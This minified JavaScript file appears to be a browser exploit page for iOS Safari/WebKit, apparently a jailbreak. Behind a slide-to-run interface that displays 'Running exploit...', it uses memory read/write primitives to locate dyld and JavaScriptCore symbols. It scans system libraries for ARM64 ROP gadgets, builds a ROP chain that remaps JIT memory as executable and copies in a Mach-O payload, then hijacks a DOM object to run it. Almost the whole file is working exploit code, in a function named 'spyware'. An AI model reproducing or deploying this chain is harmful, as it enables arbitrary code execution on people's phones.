var $jscomp = $jscomp || {};
$jscomp.scope = {};
$jscomp.ASSUME_ES5 = !1;
$jscomp.ASSUME_NO_NATIVE_MAP = !1;
$jscomp.ASSUME_NO_NATIVE_SET = !1;
$jscomp.defineProperty = $jscomp.ASSUME_ES5 || "function" == typeof Object.defineProperties ? Object.defineProperty : function(a, d, e) {
a != Array.prototype && a != Object.prototype && (a[d] = e.value)
};
$jscomp.getGlobal = function(a) {
return "undefined" != typeof window && window === a ? a : "undefined" != typeof global && null != global ? global : a
};
$jscomp.global = $jscomp.getGlobal(this);
$jscomp.SYMBOL_PREFIX = "jscomp_symbol_";
$jscomp.initSymbol = function() {
$jscomp.initSymbol = function() {};
$jscomp.global.Symbol || ($jscomp.global.Symbol = $jscomp.Symbol)
};
$jscomp.Symbol = function() {
var a = 0;
return function(d) {
return $jscomp.SYMBOL_PREFIX + (d || "") + a++
}
}();
$jscomp.initSymbolIterator = function() {
$jscomp.initSymbol();
var a = $jscomp.global.Symbol.iterator;
a || (a = $jscomp.global.Symbol.iterator = $jscomp.global.Symbol("iterator"));
"function" != typeof Array.prototype[a] && $jscomp.defineProperty(Array.prototype, a, {
configurable: !0,
writable: !0,
value: function() {
return $jscomp.arrayIterator(this)
}
});
$jscomp.initSymbolIterator = function() {}
};
$jscomp.initSymbolAsyncIterator = function() {
$jscomp.initSymbol();
var a = $jscomp.global.Symbol.asyncIterator;
a || (a = $jscomp.global.Symbol.asyncIterator = $jscomp.global.Symbol("asyncIterator"));
$jscomp.initSymbolAsyncIterator = function() {}
};
$jscomp.arrayIterator = function(a) {
var d = 0;
return $jscomp.iteratorPrototype(function() {
return d < a.length ? {
done: !1,
value: a[d++]
} : {
done: !0
}
})
};
$jscomp.iteratorPrototype = function(a) {
$jscomp.initSymbolIterator();
a = {
next: a
};
a[$jscomp.global.Symbol.iterator] = function() {
return this
};
return a
};
$jscomp.polyfill = function(a, d, e, h) {
if (d) {
e = $jscomp.global;
a = a.split(".");
for (h = 0; h < a.length - 1; h++) {
var r = a[h];
r in e || (e[r] = {});
e = e[r]
}
a = a[a.length - 1];
h = e[a];
d = d(h);
d != h && null != d && $jscomp.defineProperty(e, a, {
configurable: !0,
writable: !0,
value: d
})
}
};
$jscomp.polyfill("Array.from", function(a) {
return a ? a : function(a, e, h) {
$jscomp.initSymbolIterator();
e = null != e ? e : function(a) {
return a
};
var d = [],
y = a[Symbol.iterator];
if ("function" == typeof y) {
a = y.call(a);
for (var l = 0; !(y = a.next()).done;) d.push(e.call(h, y.value, l++))
} else
for (y = a.length, l = 0; l < y; l++) d.push(e.call(h, a[l], l));
return d
}
}, "es6", "es3");
$jscomp.checkStringArgs = function(a, d, e) {
if (null == a) throw new TypeError("The 'this' value for String.prototype." + e + " must not be null or undefined");
if (d instanceof RegExp) throw new TypeError("First argument to String.prototype." + e + " must not be a regular expression");
return a + ""
};
$jscomp.polyfill("String.prototype.startsWith", function(a) {
return a ? a : function(a, e) {
var d = $jscomp.checkStringArgs(this, a, "startsWith");
a += "";
var r = d.length,
y = a.length;
e = Math.max(0, Math.min(e | 0, d.length));
for (var l = 0; l < y && e < r;)
if (d[e++] != a[l++]) return !1;
return l >= y
}
}, "es6", "es3");
$jscomp.iteratorFromArray = function(a, d) {
$jscomp.initSymbolIterator();
a instanceof String && (a += "");
var e = 0,
h = {
next: function() {
if (e < a.length) {
var r = e++;
return {
value: d(r, a[r]),
done: !1
}
}
h.next = function() {
return {
done: !0,
value: void 0
}
};
return h.next()
}
};
h[Symbol.iterator] = function() {
return h
};
return h
};
$jscomp.polyfill("Array.prototype.keys", function(a) {
return a ? a : function() {
return $jscomp.iteratorFromArray(this, function(a) {
return a
})
}
}, "es6", "es3");
$jscomp.owns = function(a, d) {
return Object.prototype.hasOwnProperty.call(a, d)
};
$jscomp.polyfill("Object.values", function(a) {
return a ? a : function(a) {
var e = [],
d;
for (d in a) $jscomp.owns(a, d) && e.push(a[d]);
return e
}
}, "es8", "es3");
function hex(a) {
return ("0" + a.toString(16)).substr(-2)
}
function hexlify(a) {
for (var d = [], e = 0; e < a.length; e++) d.push(hex(a[e]));
return d.join("")
}
function unhexlify(a) {
if (1 == a.length % 2) throw new TypeError("Invalid hex string");
for (var d = new Uint8Array(a.length / 2), e = 0; e < a.length; e += 2) d[e / 2] = parseInt(a.substr(e, 2), 16);
return d
}
function hexdump(a) {
"undefined" !== typeof a.BYTES_PER_ELEMENT && (a = Array.from(a));
for (var d = [], e = 0; e < a.length; e += 16) {
var h = a.slice(e, e + 16).map(hex);
8 < h.length && h.splice(8, 0, " ");
d.push(h.join(" "))
}
return d.join("\n")
}
var Struct = function() {
var a = new ArrayBuffer(8),
d = new Uint8Array(a),
e = new Uint32Array(a),
h = new Float64Array(a);
return {
pack: function(e, d) {
e[0] = d;
return new Uint8Array(a, 0, e.BYTES_PER_ELEMENT)
},
unpack: function(a, e) {
if (e.length !== a.BYTES_PER_ELEMENT) throw Error("Invalid bytearray");
d.set(e);
return a[0]
},
int8: d,
int32: e,
float64: h
}
}();
function ab2str(a) {
return String.fromCharCode.apply(null, new Uint16Array(a))
}
function str2ab(a) {
for (var d = new ArrayBuffer(2 * a.length), e = new Uint16Array(d), h = 0, r = a.length; h < r; h++) e[h] = a.charCodeAt(h);
return d
};
/\b10_\S+ like Mac OS X/.test(navigator.userAgent) || (window.crypto.subtle || window.crypto.webkitSubtle).digest({
name: "SHA-1"
}, str2ab(window.location.hash)).then(function(a) {
if ("9e04130fa02fc3c416f28ba556f0165da4d93054" != hexlify(new Uint8Array(a))) throw null;
}).catch(function() {
window.location.replace("incompatible.html")
});
window.addEventListener("DOMContentLoaded", function() {
(function(a) {
var d = document.getElementById("thumbtack"),
e = document.getElementById("hint"),
h = 0,
r = null,
y = d.parentNode.clientWidth - d.clientWidth - 5,
l = null,
p = function(a) {
h = a;
e.style.opacity = 1 - a / (.25 * y);
d.style.left = a + "px"
},
g = function(a) {
r = a;
l = h;
d.style.WebkitTransitionProperty = "";
d.style.WebkitTransitionDuration = "0s";
return !1
},
m = function(a) {
null !== r && (a -= r, 0 > a ? a = 0 : a >= y && (a = y), p(a + l))
},
O = function() {
if (null !== r) {
r = null;
if (.9 <= h / y) return p(y), a(), !1;
var e =
h;
p(0);
d.style.WebkitTransform = "translateX(" + e + "px)";
setTimeout(function() {
d.style.WebkitTransitionProperty = "-webkit-transform";
d.style.WebkitTransitionDuration = "0.25s";
d.style.WebkitTransform = "translateX(0px)"
}, 0);
return !1
}
};
d.ontouchstart = function(a) {
return g(a.targetTouches[0].clientX)
};
window.ontouchmove = function(a) {
return m(a.targetTouches[0].clientX)
};
window.ontouchend = function(a) {
return O()
};
d.onmousedown = function(a) {
return g(a.clientX)
};
window.onmousemove = function(a) {
return m(a.clientX)
};
window.onmouseup = function(a) {
return O()
};
return this
})(function() {
var a = document.getElementById("logo");
a.parentNode.removeChild(a);
document.body.className = "wait";
document.getElementById("notice").textContent = "Running exploit...";
window.setTimeout(function() {
window.go()
}, 10)
});
window.ontouchstart = function(a) {
a.preventDefault();
return !1
}
});
function Int64(a) {
function d(a, e) {
return function() {
if (arguments.length != e) throw Error("Not enough arguments for function " + a.name);
for (var d = 0; d < arguments.length; d++) arguments[d] instanceof Int64 || (arguments[d] = new Int64(arguments[d]));
return a.apply(this, arguments)
}
}
var e = new Uint8Array(8);
switch (typeof a) {
case "number":
a = "0x" + Math.floor(a).toString(16);
case "string":
a.startsWith("0x") && (a = a.substr(2));
1 == a.length % 2 && (a = "0" + a);
a = unhexlify(a, 8);
e.set(Array.from(a).reverse());
break;
case "object":
if (a instanceof Int64) e.set(a.bytes());
else {
if (8 != a.length) throw TypeError("Array must have excactly 8 elements.");
e.set(a)
}
break;
case "undefined":
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
this.asDouble = function() {
if (255 == e[7] && (255 == e[6] || 254 == e[6])) throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, e)
};
this.asJSValue = function() {
if (0 == e[7] && 0 == e[6] || 255 == e[7] && 255 == e[6]) throw new RangeError("Integer can not be represented by a JSValue");
this.assignSub(this, 281474976710656);
var a = Struct.unpack(Struct.float64, e);
this.assignAdd(this, 281474976710656);
return a
};
this.bytes = function() {
return Array.from(e)
};
this.byteAt = function(a) {
return e[a]
};
this.toString = function() {
return "0x" + hexlify(Array.from(e).reverse())
};
this.lo = function() {
var a = this.bytes();
return (a[0] | a[1] << 8 | a[2] << 16 | a[3] << 24) >>> 0
};
this.hi = function() {
var a = this.bytes();
return (a[4] | a[5] << 8 | a[6] << 16 | a[7] << 24) >>> 0
};
this.assignNeg = d(function(a) {
for (var d = 0; 8 > d; d++) e[d] = ~a.byteAt(d);
return this.assignAdd(this, Int64.One)
}, 1);
this.assignAdd = d(function(a, d) {
for (var h = 0, l = 0; 8 > l; l++) {
var p = a.byteAt(l) + d.byteAt(l) + h;
h = 255 < p | 0;
e[l] = p
}
return this
}, 2);
this.assignSub = d(function(a, d) {
for (var h = 0, l = 0; 8 > l; l++) {
var p = a.byteAt(l) - d.byteAt(l) - h;
h = 0 > p | 0;
e[l] = p
}
return this
}, 2)
}
Int64.fromDouble = function(a) {
a = Struct.pack(Struct.float64, a);
return new Int64(a)
};
function Neg(a) {
return (new Int64).assignNeg(a)
}
function Add(a, d) {
return (new Int64).assignAdd(a, d)
}
function Sub(a, d) {
return (new Int64).assignSub(a, d)
}
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
(function() {
function a(a, d) {
d instanceof Int64 || (d = new Int64(d));
for (var e = 0; e < a.length; ++e) {
var g = a[e].fileoff,
p = Add(g, a[e].size);
if ((g.hi() < d.hi() || g.hi() == d.hi() && g.lo() <= d.lo()) && (p.hi() > d.hi() || p.hi() == d.hi() && p.lo() > d.lo())) return Add(a[e].addr, Sub(d, g))
}
return new Int64("0x4141414141414141")
}
function d(d, g, h, l, r) {
l = Array.from(l);
void 0 === r && (r = {});
for (var p = null, k = d.u32(Add(g, 16)), n = 0, m = 32; n < k; ++n) {
if (2 == d.u32(Add(g, m))) {
p = d.read(Add(g, m + 8), 16);
p = {
symoff: b2u32(p.slice(0, 4)),
nsyms: b2u32(p.slice(4,
8)),
stroff: b2u32(p.slice(8, 12)),
strsize: b2u32(p.slice(12, 16))
};
break
}
m += d.u32(Add(g, m + 4))
}
null == p && fail("stab");
var y = a(h, p.stroff),
B = 0;
g = function(a) {
return d.read(Add(y, B + a), 1)[0]
};
for (n = 0; n < p.nsyms && 0 < l.length; ++n)
for (B = d.u32(a(h, p.symoff + 16 * n)), k = 0; k < l.length; ++k)
if (m = l[k], e(g, m)) {
r[m] = d.readInt64(a(h, p.symoff + 16 * n + 8));
l.splice(k, 1);
break
}
return r
}
function e(a, d) {
for (var e = "function" == typeof a ? a : function(d) {
return a[d]
}, g = 0; g < d.length; ++g)
if (e(g) != d.charCodeAt(g)) return !1;
return 0 == e(d.length)
}
function h(a) {
return b2u32(this.read(a, 4))
}
function r(a, d) {
a instanceof Int64 && (a = a.lo());
d instanceof Int64 && (d = d.lo());
a + d > this.length && fail("OOB read: " + a + " -> " + (a + d) + ", size: " + d);
return this.slice(a, a + d)
}
function y(a) {
return new Int64(this.read(a, 8))
}
function l(a, d) {
a instanceof Int64 && (a = a.lo());
this.set(d.bytes(), a)
}
window.fail = function(a) {
alert("FAIL: " + a);
location.reload();
throw null;
};
window.b2u32 = function(a) {
return (a[0] | a[1] << 8 | a[2] << 16 | a[3] << 24) >>> 0
};
window.spyware = function(p, g, m) {
var O =
document.createElement("div"),
J = p.addrof(O);
J = g.readInt64(J + 24);
var T = g.readInt64(J);
g.u32 = h;
for (var k = g.readInt64(T), n = Sub(k, k.lo() & 4095); !e(g.read(n, 16), "dyld_v1 arm64");) n = Sub(n, 4096);
var x = null,
F = g.u32(Add(n, 20)),
B = g.read(Add(n, g.u32(Add(n, 16))), 32 * F),
z = [];
for (k = 0; k < F; ++k) {
var f = 32 * k;
f = {
addr: new Int64(B.slice(f + 0, f + 8)),
size: new Int64(B.slice(f + 8, f + 16)),
fileoff: new Int64(B.slice(f + 16, f + 24)),
maxprot: b2u32(B.slice(f + 24, f + 28)),
initprot: b2u32(B.slice(f + 28, f + 32))
};
z.push(f);
0 != f.fileoff.hi() || 0 !=
f.fileoff.lo() || 0 == f.size.hi() && 0 == f.size.lo() || (x = f)
}
null == x && fail("base_seg");
F = Sub(n, x.addr);
for (k = 0; k < z.length; ++k) z[k].addr = Add(z[k].addr, F);
var K = {
"/usr/lib/system/libsystem_platform.dylib": ["__longjmp", "__platform_memmove"],
"/usr/lib/system/libsystem_kernel.dylib": ["_mach_task_self_", "__kernelrpc_mach_vm_protect_trap"],
"/usr/lib/system/libsystem_c.dylib": ["_usleep"],
"/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore": ["__ZN3JSC32startOfFixedExecutableMemoryPoolE", "__ZN3JSC30endOfFixedExecutableMemoryPoolE"]
};
if (/\b10_\S+ like Mac OS X/.test(navigator.userAgent)) {
B = {
regloader: [2853635040, 2853569505, 2853700578, 2853766115, 2853831652, 2853897189, 3594453888],
dispatch: [3594453664, 2839772157, 2839695348, 2839631862, 2432762879, 3596551104],
altdispatch: [3594453664, 3506471871, 2839706621, 2839629812, 2831374326, 3596551104],
stackloader: [2839968765, 2839891956, 2839828470, 2839764984, 2839701498, 2839638012, 2432812031, 3596551104],
altstackloader: [3506521023, 2839903229, 2839826420, 2839762934, 2839699448, 2839635962, 2831577084, 3596551104]
};
var Q = ["/usr/lib/libLLVM.dylib"]
} else K["/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore"].push("__ZN3JSC29jitWriteSeparateHeapsFunctionE"), B = {
ldrx8: [4181722088, 4177527400, 2839706621, 2839629812, 2432746495, 3596551104],
dispatch: [3594453664, 2839772157, 2839695348, 2839631862, 2432762879, 3596551104],
regloader: [2853569507, 2853897190, 2853700576, 2853372897, 2853635042, 4181722084, 3594453248],
stackloader: [2839968765, 2839891956, 2839828470, 2839764984, 2839701498, 2839638012, 2432812031, 3596551104],
movx4: [2853438436, 3594453248],
ldrx0x0: [4181721088]
}, Q = ["/usr/lib/PN548.dylib", "/usr/lib/libc++.1.dylib"];
x = {};
var C = {},
D = Add(n, g.u32(Add(n, 24)));
n = g.u32(Add(n, 28));
for (k = 0; k < n; ++k) {
var Y = a(z, g.u32(Add(D, 32 * k + 24))),
U = function(a) {
return g.read(Add(Y, a), 1)[0]
},
t = Add(g.readInt64(Add(D, 32 * k)), F);
if (Q.some(function(a) {
return e(U, a)
})) {
var u = g.u32(Add(t, 16)),
q = 0;
for (f = 32; q < u; ++q) {
var v = g.u32(Add(t, f));
if (25 == v && e(g.read(Add(t, f + 8), 16), "__TEXT")) {
v = g.u32(Add(t, f + 64));
u = 0;
for (q = f + 72; u < v; ++u) {
if (e(g.read(Add(t,
q), 16), "__text")) {
f = Object.keys(B).filter(function(a) {
return !C.hasOwnProperty[a]
});
if (0 == f.length) break;
u = {};
for (var w = 0; w < f.length; ++w) u[f[w]] = 0;
v = Add(g.readInt64(Add(t, q + 32)), F);
t = g.u32(Add(t, q + 40));
q = new Uint32Array(t / 4);
for (w = 0; w < t; w += 4096) {
var E = 4096;
t - w < E && (E = t - w);
for (var L = g.read(Add(v, w), E), A = 0; A < E; A += 4) {
var I = b2u32(L.slice(A, A + 4));
q[(w + A) / 4] = I
}
}
for (E = 0; E < t && 0 < f.length; E++)
for (L = q[E], w = 0; w < f.length; w++)
if (A = f[w], I = B[A], L == I[u[A]]) {
if (u[A]++, u[A] == I.length) {
C[A] = Add(v, 4 * (E - (I.length - 1)));
f.splice(w,
1);
break
}
} else u[A] = 0;
break
}
q += 80
}
break
}
f += g.u32(Add(t, f + 4))
}
} else {
f = null;
u = Object.keys(K);
for (q = 0; q < u.length; ++q)
if (e(U, u[q])) {
f = K[u[q]];
break
}
null != f && d(g, t, z, f, x)
}
}
C.dispatch || (C.dispatch = C.altdispatch);
C.stackloader || (C.stackloader = C.altstackloader);
delete B.altdispatch;
delete B.altstackloader;
u = Object.values(K).reduce(function(a, b) {
b.forEach(function(b) {
a.push(b)
});
return a
}, []);
for (k = 0; k < u.length; ++k) z = u[k], null == x[z] && fail(z), x[z] = Add(x[z], F);
u = Object.keys(B);
for (k = 0; k < u.length; ++k) z = u[k],
null == C[z] && fail(z);
F = x.__longjmp;
var R = C.regloader,
M = C.dispatch,
S = C.stackloader,
P = C.ldrx8,
V = C.movx4,
W = new Int64(g.readInt64(x._mach_task_self_).lo()),
X = x.__kernelrpc_mach_vm_protect_trap;
B = x.__platform_memmove;
K = x._usleep;
Q = g.readInt64(x.__ZN3JSC32startOfFixedExecutableMemoryPoolE);
z = g.readInt64(x.__ZN3JSC30endOfFixedExecutableMemoryPoolE);
x = x.__ZN3JSC29jitWriteSeparateHeapsFunctionE ? g.readInt64(x.__ZN3JSC29jitWriteSeparateHeapsFunctionE) : Int64.Zero;
m.u32 = h;
m.read = r;
m.readInt64 = y;
m.writeInt64 = l;
D = new Int64("0xffffffffffffffff");
n = new Int64(0);
u = m.u32(16);
k = 0;
for (f = 32; k < u; ++k) {
v = m.u32(f);
if (25 == v && (q = m.readInt64(f + 48), 0 != q.hi() || 0 != q.lo())) {
t = m.readInt64(f + 24);
v = m.readInt64(f + 32);
v = Add(t, v);
if (t.hi() < D.hi() || t.hi() == D.hi() && t.lo() <= D.lo()) D = t;
if (v.hi() > n.hi() || v.hi() == n.hi() && v.lo() > n.lo()) n = v
}
f += m.u32(f + 4)
}
n = Sub(n, D);
0 != n.hi() && fail("shsz");
w = new Uint8Array(n.lo());
t = g.readInt64(Add(p.addrof(w), 16));
var H = Sub(z, n);
H = Sub(H, H.lo() & 16383);
E = Sub(H, D);
z = [];
f = 32;
for (k = 0; k < u; ++k) {
v = m.u32(f);
if (25 ==
v && (q = m.readInt64(f + 48), 0 != q.hi() || 0 != q.lo())) {
L = m.readInt64(f + 24);
v = m.readInt64(f + 32);
A = m.readInt64(f + 40);
I = m.readInt64(f + 56);
if (v.hi() < q.hi() || v.hi() == q.hi() && v.lo() <= q.lo()) q = v;
z.push({
addr: Sub(L, D),
size: q,
fileoff: A,
prots: I
});
0 != A.hi() && fail("fileoff");
0 != q.hi() && fail("filesize");
A = A.lo();
q = q.lo();
w.set(m.slice(A, A + q), Sub(L, D).lo())
}
f += m.u32(f + 4)
}
w.u32 = h;
w.read = r;
w.readInt64 = y;
m = d(w, 0, z, ["genesis"]);
null == m.genesis && fail("genesis");
m = Add(m.genesis, E);
g.writeInt64(Add(T, 24), F);
g.writeInt64(Add(J,
88), S);
f = 4096;
var c = new Uint32Array(1048576),
G = g.readInt64(Add(p.addrof(c), 16)),
b = 1048576 - f,
Z = function(a, d, e, f, g, h, k) {
h = h || Int64.Zero;
c[b++] = 3735879696;
c[b++] = 3735879697;
c[b++] = 3735879698;
c[b++] = 3735879699;
c[b++] = M.lo();
c[b++] = M.hi();
c[b++] = 3735879700;
c[b++] = 3735879701;
c[b++] = h.lo();
c[b++] = h.hi();
c[b++] = g.lo();
c[b++] = g.hi();
c[b++] = f.lo();
c[b++] = f.hi();
c[b++] = d.lo();
c[b++] = d.hi();
c[b++] = e.lo();
c[b++] = e.hi();
c[b++] = a.lo();
c[b++] = a.hi();
c[b++] = 3735879704;
c[b++] = 3735879705;
c[b++] = 3735879706;
c[b++] = 3735879707;
a = b;
c[b++] = Add(G, 4 * a + 64).lo();
c[b++] = Add(G, 4 * a + 64).hi();
c[b++] = R.lo();
c[b++] = R.hi();
c[b++] = 3735879712;
c[b++] = 3735879713;
c[b++] = 3735879714;
c[b++] = 3735879715;
c[b++] = 3735879716;
c[b++] = 3735879717;
c[b++] = 3735879718;
c[b++] = 3735879719;
c[b++] = 3735879720;
c[b++] = 3735879721;
c[b++] = 3735879722;
c[b++] = 3735879723;
a = b;
c[b++] = Add(G, 4 * a + 112).lo();
c[b++] = Add(G, 4 * a + 112).hi();
c[b++] = k.lo();
c[b++] = k.hi()
},
aa = function(a, d, e, f, g, h, k) {
c[b++] = 3735879696;
c[b++] = 3735879697;
c[b++] = 3735879698;
c[b++] = 3735879699;
c[b++] = 3735884033;
c[b++] = 3735884034;
c[b++] = 3735879700;
c[b++] = 3735879701;
c[b++] = 3735879702;
c[b++] = 3735879703;
c[b++] = g.lo();
c[b++] = g.hi();
c[b++] = d.lo();
c[b++] = d.hi();
c[b++] = f.lo();
c[b++] = f.hi();
c[b++] = g.lo();
c[b++] = g.hi();
c[b++] = a.lo();
c[b++] = a.hi();
c[b++] = 3735879704;
c[b++] = 3735879705;
d = b;
c[b++] = Add(G, 4 * d).lo();
c[b++] = Add(G, 4 * d).hi();
c[b++] = 3735879708;
c[b++] = 3735879709;
c[b++] = P.lo();
c[b++] = P.hi();
h ? (c[b++] = S.lo(), c[b++] = S.hi()) : (c[b++] = M.lo(), c[b++] = M.hi());
c[b++] = 3735884801;
c[b++] = 3735884802;
c[b++] = 3735884545;
c[b++] =
3735884546;
c[b++] = e.lo();
c[b++] = e.hi();
c[b++] = 3735884289;
c[b++] = 3735884290;
c[b++] = R.lo();
c[b++] = R.hi();
h && (c[b++] = 3668770832, c[b++] = 3668770833, c[b++] = 3668770834, c[b++] = 3668770835, c[b++] = 3668775169, c[b++] = 3668775170, c[b++] = 3668770836, c[b++] = 3668770837, c[b++] = 3668770838, c[b++] = 3668770839, c[b++] = 3668770840, c[b++] = 3668770841, c[b++] = 3668771056, c[b++] = 3668771057, c[b++] = 3668771058, c[b++] = 3668771059, c[b++] = 3668771060, c[b++] = 3668771061, c[b++] = a.lo(), c[b++] = a.hi(), c[b++] = 3668770840, c[b++] = 3668770841, d = b, c[b++] =
Add(G, 4 * d).lo(), c[b++] = Add(G, 4 * d).hi(), c[b++] = 3668770844, c[b++] = 3668770845, c[b++] = P.lo(), c[b++] = P.hi(), c[b++] = M.lo(), c[b++] = M.hi(), c[b++] = 3668775937, c[b++] = 3668775938, c[b++] = h.lo(), c[b++] = h.hi(), c[b++] = 3668775681, c[b++] = 3668775682, c[b++] = 3668775425, c[b++] = 3668775426, c[b++] = V.lo(), c[b++] = V.hi());
c[b++] = 3735879714;
c[b++] = 3735879715;
c[b++] = 3735879714;
c[b++] = 3735879715;
c[b++] = 3735879716;
c[b++] = 3735879717;
c[b++] = 3735879718;
c[b++] = 3735879719;
c[b++] = 3735879720;
c[b++] = 3735879721;
c[b++] = 3735879722;
c[b++] =
3735879723;
c[b++] = 3735879724;
c[b++] = 3735879725;
c[b++] = k.lo();
c[b++] = k.hi()
},
N = function(a, b, c, d, e, g, f) {
b = b || Int64.Zero;
c = c || Int64.Zero;
d = d || Int64.Zero;
e = e || Int64.Zero;
f = f || S;
return (P ? aa : Z)(a, b, c, d, e, g, f)
};
/\b10_\S+ like Mac OS X/.test(navigator.userAgent) ? (N(X, W, H, n, new Int64(0), new Int64(7)), N(B, H, t, n)) : (x.lo() || x.hi() ? N(x, Sub(H, Q), t, n) : fail("bi0n1c (c)"), z.forEach(function(a) {
if (a.prots.hi() & 2) {
var b = Add(a.addr, H);
N(X, W, b, a.size, new Int64(0), new Int64(19))
}
}));
N(K, new Int64(1E5));
N(m);
for (k = 0; 32 >
k; ++k) c[b++] = 3724591326 + (k << 16);
p = Add(G, 4 * (1048576 - f));
g.writeInt64(Add(J, 96), Add(p, 96));
g.writeInt64(Add(J, 104), p);
O.addEventListener("click", function() {});
fail("should never reach this")
}
})();
Comments